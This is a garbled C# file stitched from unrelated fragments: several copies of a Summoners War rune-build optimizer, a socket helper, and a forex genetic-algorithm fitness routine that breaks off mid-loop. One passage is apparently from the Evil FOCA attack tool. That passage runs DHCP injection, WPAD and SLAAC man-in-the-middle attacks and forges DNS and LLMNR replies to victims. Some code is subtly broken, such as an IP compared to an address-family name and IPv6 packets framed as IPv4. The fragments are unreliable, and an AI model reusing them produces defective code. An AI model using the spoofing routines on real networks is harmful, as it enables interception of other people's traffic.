Console.WriteLine(count + "/" + total + " " + String.Format("{0:P2}", (count + complete - total) / (double)complete));
var desc = tests.Where(t => t != null).OrderByDescending(r => sort(r.GetStats())).Take(10).ToArray();
foreach (var l in desc)
{
Console.WriteLine(l.GetStats().Health + " " + l.GetStats().Attack + " " + l.GetStats().Defense + " " + l.GetStats().Speed
+ " " + l.GetStats().CritRate + "%" + " " + l.GetStats().CritDamage + "%" + " " + l.GetStats().Resistance + "%" + " " + l.GetStats().Accuracy + "%");
}
if (!desc.Any())
{
Console.WriteLine("No builds :(");
return(null);
}
var best = desc.First().Current;
foreach (Rune r in best.Runes)
{
r.Locked = true;
}
return(best);
}
public int CountClientsWithSameIP(Socket socket)
{
return(Clients.Where(x => x.IP == socket.RemoteEndPoint.AddressFamily.ToString()).Count());
}
public static Loadout MakeBuild(Monster mon, IEnumerable<Rune>[] runesSlot, Func<Stats, double> sort, Predicate<RuneSet[]> reqsets = null, Predicate<Stats> minimum = null)
{
System.Collections.Generic.SynchronizedCollection<Monster> tests = new SynchronizedCollection<Monster>();//new List<Monster>();
long count = 0;
long total = runesSlot[0].Count();
total *= runesSlot[1].Count();
total *= runesSlot[2].Count();
total *= runesSlot[3].Count();
total *= runesSlot[4].Count();
total *= runesSlot[5].Count();
long complete = total;
DateTime timer = DateTime.Now;
Console.WriteLine(count + "/" + total + " " + String.Format("{0:P2}", (double)(count + complete - total) / (double)complete));
Parallel.ForEach<Rune>(runesSlot[0], r0 =>
{
int kill = 0;
int plus = 0;
foreach (Rune r1 in runesSlot[1])
{
foreach (Rune r2 in runesSlot[2])
{
foreach (Rune r3 in runesSlot[3])
{
foreach (Rune r4 in runesSlot[4])
{
foreach (Rune r5 in runesSlot[5])
{
Monster test = new Monster(mon);
test.ApplyRune(r0);
test.ApplyRune(r1);
test.ApplyRune(r2);
test.ApplyRune(r3);
test.ApplyRune(r4);
test.ApplyRune(r5);
if (minimum != null && !minimum.Invoke(test.GetStats()))
{
//total--;
kill++;
//Interlocked.Decrement(ref total);
}
else if (reqsets != null && !reqsets.Invoke(test.Current.sets))
{
kill++;
//Interlocked.Decrement(ref total);
}
else
{
plus++;
tests.Add(test);
//Interlocked.Increment(ref count);
//count++;
}
if (DateTime.Now > timer.AddSeconds(1))
{
timer = DateTime.Now;
Console.WriteLine(count + "/" + total + " " + String.Format("{0:P2}", (double)(count + complete - total) / (double)complete));
}
}
Interlocked.Add(ref total, -kill);
kill = 0;
Interlocked.Add(ref count, plus);
plus = 0;
}
}
}
}
});
Console.WriteLine(count + "/" + total + " " + String.Format("{0:P2}", (double)(count + complete - total) / (double)complete));
var desc = tests.Where(t => t != null).OrderByDescending(r => sort(r.GetStats())).Take(10).ToArray();
foreach (var l in desc)
{
Console.WriteLine(l.GetStats().Health + " " + l.GetStats().Attack + " " + l.GetStats().Defense + " " + l.GetStats().Speed
+ " " + l.GetStats().CritRate + "%" + " " + l.GetStats().CritDamage + "%" + " " + l.GetStats().Resistance + "%" + " " + l.GetStats().Accuracy + "%");
}
if (desc.Count() == 0)
{
Console.WriteLine("No builds :(");
return null;
}
var best = desc.First().Current;
foreach (Rune r in best.runes)
{
r.Locked = true;
}
return best;
}
public SynchronizedCollection <Port> GetPorts(IPAddress ip)
{
return(new SynchronizedCollection <Port>(ports.Where(P => P.ip.Equals(ip)).ToList()));
}
public void AnalyzePacket(Packet p)
{
try
{
if (p is EthernetPacket)
{
if (p.PayloadPacket == null)
{
return;
}
//Para que no se procesen los paquetes del DoS
if ((p as EthernetPacket).SourceHwAddress.Equals(DoSSLAAC.MACsrc))
{
return;
}
if (p.PayloadPacket is ARPPacket)
{
AnalyzeARP(p);
}
if (p.PayloadPacket is IPv6Packet)
{
AnalyzeIPv6Packet(p);
}
else if (p.PayloadPacket is IPv4Packet)
{
AnalyzeIPv4Packet(p);
}
AnalyzeLLMNR(p);
// Ataque pasivo DHCP ACK Injector en Ipv4
if ((attacks.Where(A => A.attackType == AttackType.DHCPACKInjection && A.attackStatus == AttackStatus.Attacking).Count() > 0))
{
if (DHCPACKInjection.CheckIfIsDHCP(p))
{
DHCPACKInjection.AnalyzePacket(device, p);
}
}
// Ataque pasivo DHCP IPv6
if ((attacks.Where(A => A.attackType == AttackType.DHCPIpv6 && A.attackStatus == AttackStatus.Attacking).Count() > 0))
{
if (DHCPIpv6.CheckIfIsRequestDHCPIpv6(p))
{
DHCPIpv6.AnalyzePacket(device, p);
}
}
OSDetector.AnalyzePacket(p);
pasivePortScan.AnalyzePacket(p);
route.CheckToRoutePacket(p);
}
}
catch
{
// Paquete perdido!!!
}
}
private void AnalyzeIPv6Packet(Packet packet)
{
if (!(packet.PayloadPacket is IPv6Packet))
{
return;
}
if (!(packet is EthernetPacket))
{
return;
}
PhysicalAddress macSrc = ((EthernetPacket)packet).SourceHwAddress;
PhysicalAddress macDst = ((EthernetPacket)packet).DestinationHwAddress;
IPAddress ipSrc = ((IPv6Packet)(((EthernetPacket)packet).PayloadPacket)).SourceAddress;
IPAddress ipDst = ((IPv6Packet)(((EthernetPacket)packet).PayloadPacket)).DestinationAddress;
Data.Neighbor neighborSrc = new Data.Neighbor();
Data.Neighbor neighborDst = new Data.Neighbor();
neighborSrc.physicalAddress = macSrc;
neighborSrc.AddIP(ipSrc);
neighborDst.physicalAddress = macDst;
neighborDst.AddIP(ipDst);
if ((ipSrc.IsIPv6LinkLocal) && (ipDst.IsIPv6LinkLocal || ipDst.IsIPv6Multicast) && (packet.PayloadPacket.PayloadPacket is ICMPv6Packet))
{
AnalyzeICMPv6Packet(packet);
}
if (ipSrc.IsIPv6LinkLocal)
{
// [ Si no se envia desde nuestra mac ] Y [ el vecino no existe ] -> Se crea el vecino
if (!macSrc.Equals(localPhysicalAddress) && !Program.CurrentProject.data.ExistsNeighbor(macSrc))
{
Program.CurrentProject.data.AddNeighbor(neighborSrc);
OnNewNeighbor(new NeighborEventArgs(neighborSrc));
}
// En caso de que el vecino (mac) tenga una nueva IP, se la añadimos
if (Program.CurrentProject.data.GetNeighbor(neighborSrc.physicalAddress) != null &&
!Program.CurrentProject.data.GetNeighbor(neighborSrc.physicalAddress).ExistsIP(ipSrc))
{
Program.CurrentProject.data.GetNeighbor(neighborSrc.physicalAddress).AddIP(ipSrc);
Program.CurrentProject.data.AddNeighbor(neighborSrc);
}
}
if (ipDst.IsIPv6LinkLocal)
{
// [ Si el destino no es nuestra mac ] Y [ el vecino no existe ] -> Se crea el vecino
if (!macDst.Equals(localPhysicalAddress) && !Program.CurrentProject.data.ExistsNeighbor(macDst))
{
Program.CurrentProject.data.AddNeighbor(neighborDst);
OnNewNeighbor(new NeighborEventArgs(neighborDst));
}
if (Program.CurrentProject.data.GetNeighbor(neighborDst.physicalAddress) != null &&
!Program.CurrentProject.data.GetNeighbor(neighborDst.physicalAddress).ExistsIP(ipDst))
{
Program.CurrentProject.data.GetNeighbor(neighborDst.physicalAddress).AddIP(ipDst);
Program.CurrentProject.data.AddNeighbor(neighborDst);
}
}
if ((packet.PayloadPacket.PayloadPacket is TcpPacket) &&
(((TcpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort == 80) &&
(((EthernetPacket)packet).Type == EthernetPacketType.IpV6) &&
((IPv6Packet)(((EthernetPacket)packet).PayloadPacket)).DestinationAddress.Equals(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device)))
{
SynchronizedCollection <Attack> lstAttacks = Program.CurrentProject.data.GetAttacks();
foreach (Attack attk in lstAttacks.Where(A => A.attackType == AttackType.WpadIPv6 && A.attackStatus == AttackStatus.Attacking))
{
MitmAttack mitmAtt = (MitmAttack)attk;
if (((IPv6Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress.Equals(mitmAtt.t2.ip))
{
WpadIPv6Attack.Instance.SendWpadFile(packet);
}
}
}
}
private void DNSCheck(Packet p)
{
EthernetPacket ethernet = (EthernetPacket)p;
if (p.PayloadPacket.PayloadPacket is UdpPacket)
{
UdpPacket udp = p.PayloadPacket.PayloadPacket as UdpPacket;
attacks.Where(a => a.attackType == AttackType.SlaacMitm).ToList().ForEach(currentAttack =>
{
MitmAttack mitmAttack = currentAttack as MitmAttack;
if (p.PayloadPacket is IPv6Packet)
{
switch (udp.DestinationPort)
{
case 53:
Heijden.DNS.Response response = new Heijden.DNS.Response(new IPEndPoint(IPAddress.Parse("1.2.3.4"), 53), udp.PayloadData);
var aaaaDns = (from q in response.Questions
where q.QType == Heijden.DNS.QType.AAAA || q.QType == Heijden.DNS.QType.A
select q).ToList();
//Para mostrar la pelotita de conexión a internet OK, respondemos al paquete Teredo de Microsoft en formato A.
var aTeredoDns = (from q in response.Questions
where q.QType == Heijden.DNS.QType.A &&
(q.QName.ToLower().Contains("teredo") || q.QName.ToLower().Contains("msftncsi"))
select q).ToList();
if (aaaaDns != null && aaaaDns.Count > 0)
{
DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData);
string q = query.name;
IPAddress[] ips = Dns.GetHostAddresses(q);
DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv6, query.transID, query.nameDnsFormat, ips[0]);
byte[] respByteAr = resp.GeneratePacket();
EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4);
IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress);
UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort);
udpDns.PayloadData = respByteAr;
ipv6Dns.PayloadPacket = udpDns;
ethDns.PayloadPacket = ipv6Dns;
udpDns.UpdateCalculatedValues();
udpDns.UpdateUDPChecksum();
ipv6Dns.UpdateCalculatedValues();
Program.CurrentProject.data.SendPacket(ethDns);
}
else if (aTeredoDns != null && aTeredoDns.Count > 0)
{
DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData);
string q = query.name;
IPAddress[] ips = Dns.GetHostAddresses(q);
DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv4, query.transID, query.nameDnsFormat, ips[0]);
byte[] respByteAr = resp.GeneratePacket();
EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4);
IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress);
UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort);
udpDns.PayloadData = respByteAr;
ipv6Dns.PayloadPacket = udpDns;
ethDns.PayloadPacket = ipv6Dns;
udpDns.UpdateCalculatedValues();
udpDns.UpdateUDPChecksum();
ipv6Dns.UpdateCalculatedValues();
Program.CurrentProject.data.SendPacket(ethDns);
}
break;
case 5355:
LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket();
llmnr.ParsePacket(udp.PayloadData);
if (llmnr.Query.Type.HasValue && llmnr.Query.Type.Value == LLMNR.DNSType.AAAA)
{
IPAddress[] ips = (from ip in Dns.GetHostAddresses(llmnr.Query.Name)
where ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork
select ip).ToArray();
byte[] ipv6Addr = new byte[] { 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
(byte)ips[0].GetAddressBytes()[0], (byte)ips[0].GetAddressBytes()[1],
(byte)ips[0].GetAddressBytes()[2], (byte)ips[0].GetAddressBytes()[3] };
llmnr.AnswerList.Add(new LLMNR.DNSAnswer()
{
Class = evilfoca.LLMNR.DNSClass.IN,
Name = llmnr.Query.Name,
Type = evilfoca.LLMNR.DNSType.AAAA,
RData = ipv6Addr,
RDLength = (short)ipv6Addr.Length
});
EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4);
IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress);
UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort);
udpDns.PayloadData = llmnr.BuildPacket();
ipv6Dns.PayloadPacket = udpDns;
ethDns.PayloadPacket = ipv6Dns;
udpDns.UpdateCalculatedValues();
udpDns.UpdateUDPChecksum();
ipv6Dns.UpdateCalculatedValues();
Program.CurrentProject.data.SendPacket(ethDns);
}
break;
default:
break;
}
}
});
}
}
public T FirstOrDefault <T>(Func <T, bool> predicate)
{
var list = m_CachedList.Where(i => i.Value.GetType() == typeof(T)).Select(i => i.Value).Cast <T>();
return(list.FirstOrDefault(predicate));
}
/// <summary>
/// Generates builds based on the instances variables.
/// </summary>
/// <param name="top">If non-zero, runs until N builds are generated</param>
/// <param name="time">If non-zero, runs for N seconds</param>
/// <param name="printTo">Periodically gives progress% and if it failed</param>
/// <param name="progTo">Periodically gives the progress% as a double</param>
/// <param name="dumpBads">If true, will only track new builds if they score higher than an other found builds</param>
public void GenBuilds(int top = 0, int time = 0, Action <string> printTo = null, Action <double> progTo = null, bool dumpBads = false, bool saveStats = false)
{
if (runes.Any(r => r == null))
{
return;
}
try
{
Best = null;
SynchronizedCollection <Monster> tests = new SynchronizedCollection <Monster>();
long count = 0;
long total = runes[0].Count();
total *= runes[1].Count();
total *= runes[2].Count();
total *= runes[3].Count();
total *= runes[4].Count();
total *= runes[5].Count();
long complete = total;
if (total == 0)
{
if (printTo != null)
{
printTo.Invoke("0 perms");
}
Console.WriteLine("Zero permuations");
return;
}
if (!AllowBroken && BuildSets.Count == 1 && Rune.SetRequired(BuildSets[0]) == 4)
{
if (printTo != null)
{
printTo.Invoke("Bad sets");
}
Console.WriteLine("Cannot use 4 set with no broken");
return;
}
bool hasSort = false;
foreach (string stat in statNames)
{
if (Sort[stat] != 0)
{
hasSort = true;
break;
}
}
foreach (string extra in extraNames)
{
if (Sort.ExtraGet(extra) != 0)
{
hasSort = true;
break;
}
}
if (top == 0 && !hasSort)
{
if (printTo != null)
{
printTo.Invoke("No sort");
}
Console.WriteLine("No method of determining best");
return;
}
DateTime begin = DateTime.Now;
DateTime timer = DateTime.Now;
Console.WriteLine(count + "/" + total + " " + string.Format("{0:P2}", (count + complete - total) / (double)complete));
// build the scoring function
Func <Stats, double> sort = (m) =>
{
double pts = 0;
foreach (string stat in statNames)
{
// if this stat is used for sorting
if (Sort[stat] != 0)
{
// sum points for the stat
pts += m[stat] / Sort[stat];
// if exceeding max, subtracted the gained points and then some
if (Threshold[stat] != 0)
{
pts -= Math.Max(0, m[stat] - Threshold[stat]) / Sort[stat];
}
}
}
// look, cool metrics!
foreach (string extra in extraNames)
{
if (Sort.ExtraGet(extra) != 0)
{
pts += m.ExtraValue(extra) / Sort.ExtraGet(extra);
if (Threshold.ExtraGet(extra) != 0)
{
pts -= Math.Max(0, m.ExtraValue(extra) - Threshold.ExtraGet(extra)) / Sort.ExtraGet(extra);
}
}
}
return(pts);
};
int[] slotFakes = new int[6];
bool[] slotPred = new bool[6];
// crank the rune prediction
for (int i = 0; i < 6; i++)
{
Rune[] rs = runes[i];
int raiseTo = 0;
bool predictSubs = false;
// find the largest number to raise to
// if any along the tree say to predict, do it
if (runePrediction.ContainsKey("g"))
{
int glevel = runePrediction["g"].Key;
if (glevel > raiseTo)
{
raiseTo = glevel;
}
predictSubs |= runePrediction["g"].Value;
}
if (runePrediction.ContainsKey(((i % 2 == 0) ? "o" : "e")))
{
int mlevel = runePrediction[((i % 2 == 0) ? "o" : "e")].Key;
if (mlevel > raiseTo)
{
raiseTo = mlevel;
}
predictSubs |= runePrediction[((i % 2 == 0) ? "o" : "e")].Value;
}
if (runePrediction.ContainsKey((i + 1).ToString()))
{
int slevel = runePrediction[(i + 1).ToString()].Key;
if (slevel > raiseTo)
{
raiseTo = slevel;
}
predictSubs |= runePrediction[(i + 1).ToString()].Value;
}
slotFakes[i] = raiseTo;
slotPred[i] = predictSubs;
}
// set to running
isRun = true;
// Parallel the outer loop
var loopRes = Parallel.ForEach <Rune>(runes[0], (r0, loopState) =>
{
if (!isRun)
{
//break;
loopState.Break();
}
// number of builds ruled out since last sync
int kill = 0;
// number of builds added since last sync
int plus = 0;
foreach (Rune r1 in runes[1])
{
if (!isRun) // Can't break to a lable, don't want to goto
{
break;
}
foreach (Rune r2 in runes[2])
{
if (!isRun)
{
break;
}
foreach (Rune r3 in runes[3])
{
if (!isRun)
{
break;
}
foreach (Rune r4 in runes[4])
{
if (!isRun)
{
break;
}
foreach (Rune r5 in runes[5])
{
if (!isRun)
{
break;
}
Monster test = new Monster(mon);
test.Current.shrines = shrines;
test.Current.leader = leader;
test.Current.FakeLevel = slotFakes;
test.Current.PredictSubs = slotPred;
test.ApplyRune(r0);
test.ApplyRune(r1);
test.ApplyRune(r2);
test.ApplyRune(r3);
test.ApplyRune(r4);
test.ApplyRune(r5);
if (saveStats)
{
foreach (Rune r in test.Current.runes)
{
r.manageStats_LoadGen++;
}
}
var cstats = test.GetStats();
bool maxdead = false;
if (Maximum != null)
{
foreach (var stat in statNames)
{
if (Maximum[stat] > 0 && cstats[stat] > Maximum[stat])
{
maxdead = true;
break;
}
}
}
// check if build meets minimum
if (Minimum != null && !(cstats > Minimum))
{
kill++;
}
else if (maxdead)
{
kill++;
}
// if no broken sets, check for broken sets
else if (!AllowBroken && !test.Current.SetsFull)
{
kill++;
}
// if there are required sets, ensure we have them
else if (RequiredSets != null && RequiredSets.Count > 0 && !RequiredSets.All(s => test.Current.sets.Contains(s)))
{
kill++;
}
else
{
// we found an okay build!
plus++;
if (saveStats)
{
foreach (Rune r in test.Current.runes)
{
r.manageStats_LoadFilt++;
}
}
// if we are to track all good builds, keep it
if (!dumpBads)
{
tests.Add(test);
}
else
{
//lock (tests)
//{
// if there are currently no good builds, keep it
if (tests.FirstOrDefault() == null)
{
tests.Add(test);
Best = test;
}
else
{
if (Best.GetStats() < test.GetStats())
{
Best = test;
tests.Add(test);
}
// take a snapshot of the builds (multithread /may/ cause a "collection modified" excepion in next step)
/*var tt = tests.ToList();
* // if this build is better than any other build, keep it
* // can't just keep a copy of Max becaues of threading
* if (tt.Max(t => sort(t.GetStats())) < sort(test.GetStats()))
* {
* tests.Add(test);
* }*/
}
//}
}
}
// every second, give a bit of feedback to those watching
if (DateTime.Now > timer.AddSeconds(1))
{
timer = DateTime.Now;
Console.WriteLine(count + "/" + total + " " + String.Format("{0:P2}", (double)(count + complete - total) / (double)complete));
if (printTo != null)
{
printTo.Invoke(String.Format("{0:P2}", (double)(count + complete - total) / (double)complete));
}
if (progTo != null)
{
progTo.Invoke((double)(count + complete - total) / (double)complete);
}
if (time > 0)
{
if (DateTime.Now > begin.AddSeconds(time))
{
isRun = false;
break;
}
}
}
}
// sum up what work we've done
Interlocked.Add(ref total, -kill);
kill = 0;
Interlocked.Add(ref count, plus);
plus = 0;
// if we've got enough, stop
if (top > 0 && count >= top)
{
isRun = false;
break;
}
}
}
}
}
});
// write out completion
Console.WriteLine(isRun + " " + count + "/" + total + " " + String.Format("{0:P2}", (double)(count + complete - total) / (double)complete));
if (printTo != null)
{
printTo.Invoke("100%");
}
if (progTo != null)
{
progTo.Invoke(1);
}
// sort *all* the builds
loads = tests.Where(t => t != null).OrderByDescending(r => sort(r.GetStats())).Take((top > 0 ? top : 1));
// dump everything to console, if nothing to print to
if (printTo == null)
{
foreach (var l in loads)
{
Console.WriteLine(l.GetStats().Health + " " + l.GetStats().Attack + " " + l.GetStats().Defense + " " + l.GetStats().Speed
+ " " + l.GetStats().CritRate + "%" + " " + l.GetStats().CritDamage + "%" + " " + l.GetStats().Resistance + "%" + " " + l.GetStats().Accuracy + "%");
}
}
// sadface if no builds
if (loads.Count() == 0)
{
Console.WriteLine("No builds :(");
if (printTo != null)
{
printTo.Invoke("Zero :(");
}
}
else
{
// remember the good one
Best = loads.First();
foreach (Rune r in Best.Current.runes)
{
r.manageStats_In = true;
}
}
}
catch (Exception e)
{
Console.WriteLine("Error " + e);
if (printTo != null)
{
printTo.Invoke(e.ToString());
}
}
}
/// <summary>
/// Generates builds based on the instances variables.
/// </summary>
/// <param name="top">If non-zero, runs until N builds are generated</param>
/// <param name="time">If non-zero, runs for N seconds</param>
/// <param name="printTo">Periodically gives progress% and if it failed</param>
/// <param name="progTo">Periodically gives the progress% as a double</param>
/// <param name="dumpBads">If true, will only track new builds if they score higher than an other found builds</param>
public void GenBuilds(int top = 0, int time = 0, Action<string> printTo = null, Action<double> progTo = null, bool dumpBads = false, bool saveStats = false)
{
if (runes.Any(r => r == null))
return;
// if to get awakened
if (DownloadAwake && !mon.downloaded)
{
var mref = MonsterStat.FindMon(mon);
if (mref != null)
{
// download the current (unawakened monster)
var mstat = mref.Download();
// if the retrieved mon is unawakened, get the awakened
if (!mstat.Awakened && mstat.AwakenRef != null)
{
mon = mstat.AwakenRef.Download().GetMon(mon);
}
}
}
// getting awakened also gets level 40, so...
// only get lvl 40 stats if the monster isn't 40, wants to download AND isn't already downloaded (first and last are about the same)
else if (mon.level < 40 && DownloadStats && !mon.downloaded)
{
var mref = MonsterStat.FindMon(mon);
if (mref != null)
{
mon = mref.Download().GetMon(mon);
}
}
try
{
Best = null;
SynchronizedCollection<Monster> tests = new SynchronizedCollection<Monster>();
long count = 0;
long total = runes[0].Count();
total *= runes[1].Count();
total *= runes[2].Count();
total *= runes[3].Count();
total *= runes[4].Count();
total *= runes[5].Count();
long complete = total;
if (total == 0)
{
if (printTo != null)
printTo.Invoke("0 perms");
Console.WriteLine("Zero permuations");
return;
}
if (!AllowBroken && BuildSets.Count == 1 && Rune.SetRequired(BuildSets[0]) == 4)
{
if (printTo != null)
printTo.Invoke("Bad sets");
Console.WriteLine("Cannot use 4 set with no broken");
return;
}
bool hasSort = false;
foreach (string stat in statNames)
{
if (Sort[stat] != 0)
{
hasSort = true;
break;
}
}
foreach (string extra in extraNames)
{
if (Sort.ExtraGet(extra) != 0)
{
hasSort = true;
break;
}
}
if (top == 0 && !hasSort)
{
if (printTo != null)
printTo.Invoke("No sort");
Console.WriteLine("No method of determining best");
return;
}
DateTime begin = DateTime.Now;
DateTime timer = DateTime.Now;
Console.WriteLine(count + "/" + total + " " + string.Format("{0:P2}", (count + complete - total) / (double)complete));
// build the scoring function
Func<Stats, double> sort = (m) =>
{
double pts = 0;
foreach (string stat in statNames)
{
// if this stat is used for sorting
if (Sort[stat] != 0)
{
// sum points for the stat
pts += m[stat] / Sort[stat];
// if exceeding max, subtracted the gained points and then some
if (Threshold[stat] != 0)
pts -= Math.Max(0, m[stat] - Threshold[stat]) / Sort[stat];
}
}
// look, cool metrics!
foreach (string extra in extraNames)
{
if (Sort.ExtraGet(extra) != 0)
{
pts += m.ExtraValue(extra) / Sort.ExtraGet(extra);
if (Threshold.ExtraGet(extra) != 0)
pts -= Math.Max(0, m.ExtraValue(extra) - Threshold.ExtraGet(extra)) / Sort.ExtraGet(extra);
}
}
return pts;
};
int[] slotFakes = new int[6];
bool[] slotPred = new bool[6];
// crank the rune prediction
for (int i = 0; i < 6; i++)
{
Rune[] rs = runes[i];
int raiseTo = 0;
bool predictSubs = false;
// find the largest number to raise to
// if any along the tree say to predict, do it
if (runePrediction.ContainsKey("g"))
{
int glevel = runePrediction["g"].Key;
if (glevel > raiseTo)
raiseTo = glevel;
predictSubs |= runePrediction["g"].Value;
}
if (runePrediction.ContainsKey(((i % 2 == 0) ? "o" : "e")))
{
int mlevel = runePrediction[((i % 2 == 0) ? "o" : "e")].Key;
if (mlevel > raiseTo)
raiseTo = mlevel;
predictSubs |= runePrediction[((i % 2 == 0) ? "o" : "e")].Value;
}
if (runePrediction.ContainsKey((i + 1).ToString()))
{
int slevel = runePrediction[(i + 1).ToString()].Key;
if (slevel > raiseTo)
raiseTo = slevel;
predictSubs |= runePrediction[(i + 1).ToString()].Value;
}
slotFakes[i] = raiseTo;
slotPred[i] = predictSubs;
}
// set to running
isRun = true;
// Parallel the outer loop
var loopRes = Parallel.ForEach<Rune>(runes[0], (r0, loopState) =>
{
if (!isRun)
//break;
loopState.Break();
// number of builds ruled out since last sync
int kill = 0;
// number of builds added since last sync
int plus = 0;
foreach (Rune r1 in runes[1])
{
if (!isRun) // Can't break to a lable, don't want to goto
break;
foreach (Rune r2 in runes[2])
{
if (!isRun)
break;
foreach (Rune r3 in runes[3])
{
if (!isRun)
break;
foreach (Rune r4 in runes[4])
{
if (!isRun)
break;
foreach (Rune r5 in runes[5])
{
if (!isRun)
break;
Monster test = new Monster(mon);
test.Current.shrines = shrines;
test.Current.leader = leader;
test.Current.FakeLevel = slotFakes;
test.Current.PredictSubs = slotPred;
test.ApplyRune(r0);
test.ApplyRune(r1);
test.ApplyRune(r2);
test.ApplyRune(r3);
test.ApplyRune(r4);
test.ApplyRune(r5);
if (saveStats)
{
foreach (Rune r in test.Current.runes)
{
r.manageStats_LoadGen++;
}
}
var cstats = test.GetStats();
bool maxdead = false;
if (Maximum != null)
{
foreach (var stat in statNames)
{
if (Maximum[stat] > 0 && cstats[stat] > Maximum[stat])
{
maxdead = true;
break;
}
}
}
// check if build meets minimum
if (Minimum != null && !(cstats > Minimum))
{
kill++;
}
else if (maxdead)
{
kill++;
}
// if no broken sets, check for broken sets
else if (!AllowBroken && !test.Current.SetsFull)
{
kill++;
}
// if there are required sets, ensure we have them
else if (RequiredSets != null && RequiredSets.Count > 0
// this Linq adds no overhead compared to GetStats() and ApplyRune()
&& !RequiredSets.All(s => test.Current.sets.Count(q => q == s) >= RequiredSets.Count(q => q == s)))
{
kill++;
}
else
{
// we found an okay build!
plus++;
if (saveStats)
{
foreach (Rune r in test.Current.runes)
{
r.manageStats_LoadFilt++;
}
}
// if we are to track all good builds, keep it
if (!dumpBads)
{
tests.Add(test);
}
// if we only want to track really good builds
else
{
// if there are currently no good builds, keep it
if (tests.FirstOrDefault() == null)
{
tests.Add(test);
Best = test;
}
else
{
// if this build is better than the best, keep it
if (sort(Best.GetStats()) < sort(test.GetStats()))
{
Best = test;
tests.Add(test);
}
}
}
}
// every second, give a bit of feedback to those watching
if (DateTime.Now > timer.AddSeconds(1))
{
timer = DateTime.Now;
Console.WriteLine(count + "/" + total + " " + String.Format("{0:P2}", (double)(count + complete - total) / (double)complete));
if (printTo != null)
printTo.Invoke(String.Format("{0:P2}", (double)(count + complete - total) / (double)complete));
if (progTo != null)
progTo.Invoke((double)(count + complete - total) / (double)complete);
if (time > 0)
{
if (DateTime.Now > begin.AddSeconds(time))
{
isRun = false;
break;
}
}
}
}
// sum up what work we've done
Interlocked.Add(ref total, -kill);
kill = 0;
Interlocked.Add(ref count, plus);
plus = 0;
// if we've got enough, stop
if (top > 0 && count >= top)
{
isRun = false;
break;
}
}
}
}
}
});
// write out completion
Console.WriteLine(isRun + " " + count + "/" + total + " " + String.Format("{0:P2}", (double)(count + complete - total) / (double)complete));
if (printTo != null)
printTo.Invoke("100%");
if (progTo != null)
progTo.Invoke(1);
// sort *all* the builds
loads = tests.Where(t => t != null).OrderByDescending(r => sort(r.GetStats())).Take((top > 0 ? top : 1));
// dump everything to console, if nothing to print to
if (printTo == null)
foreach (var l in loads)
{
Console.WriteLine(l.GetStats().Health + " " + l.GetStats().Attack + " " + l.GetStats().Defense + " " + l.GetStats().Speed
+ " " + l.GetStats().CritRate + "%" + " " + l.GetStats().CritDamage + "%" + " " + l.GetStats().Resistance + "%" + " " + l.GetStats().Accuracy + "%");
}
// sadface if no builds
if (loads.Count() == 0)
{
Console.WriteLine("No builds :(");
if (printTo != null)
printTo.Invoke("Zero :(");
}
else
{
// remember the good one
Best = loads.First();
foreach (Rune r in Best.Current.runes)
{
r.manageStats_In = true;
}
for (int i = 0; i < 6; i++)
{
if (mon.Current.runes[i] != null && mon.Current.runes[i].ID != Best.Current.runes[i].ID)
mon.Current.runes[i].Swapped = true;
}
}
}
catch (Exception e)
{
Console.WriteLine("Error " + e);
if (printTo != null)
printTo.Invoke(e.ToString());
}
}
/// <summary>
/// 各個体の評価 修正PFで評価
/// </summary>
private void CalcFitness(Tree individual, string buySQL)
{
var fitness = new Fitness();
var sqlConn = @"Data Source=.\SQLEXPRESS;Initial Catalog=FXData;Integrated Security=True;Connection Timeout=30;";
var db = new DataBase(sqlConn);
var condition = " NextPrice * 3 >= TenMaxDD AND NextPrice * 2 > TenAfterPrice AND TenAfterPrice > NextPrice / 2";
var afterPrice = "TenAfterPrice";
var maxDD = "TenMaxDD";
if (buySQL == "")
{
var gprSql = $"SELECT TOP {MaxRecord + 1} AsOfDate, NextPrice, {afterPrice}, {maxDD} FROM IndexData WHERE {individual.BuySQLString} AND {condition}";
var table = db.ExecuteReader(gprSql);
var tradeCount = table == null || table.Rows == null ? 0 : table.Rows.Count;
//極端に少ないものは除外
//極端に多いものは除外
if (tradeCount < MinRecord || tradeCount > MaxRecord)
{
individual.FitnessInfo = null;
return;
}
var win = table.AsEnumerable().Where(row => double.Parse(row["NextPrice"].ToString()) < double.Parse(row[afterPrice].ToString())).Count();
fitness.TradeCount = tradeCount;
fitness.WinCount = win;
var startDate = new DateTime(2002, 1, 1);
var endDate = new DateTime(2016, 12, 31);
//BRACテスト
while (startDate < endDate)
{
var filterData = table.AsEnumerable().Where(row => DateTime.Parse(row["AsOfDate"].ToString()) < startDate || startDate.AddYears(1) < DateTime.Parse(row["AsOfDate"].ToString()));
try
{
var gain = filterData.Select(row => double.Parse(row[afterPrice].ToString()) / double.Parse(row["NextPrice"].ToString()) - 1.0).Average();
var pain = filterData.Select(row => 1.0 - double.Parse(row[maxDD].ToString()) / double.Parse(row["NextPrice"].ToString())).Average();
var tradeNum = filterData.Count();
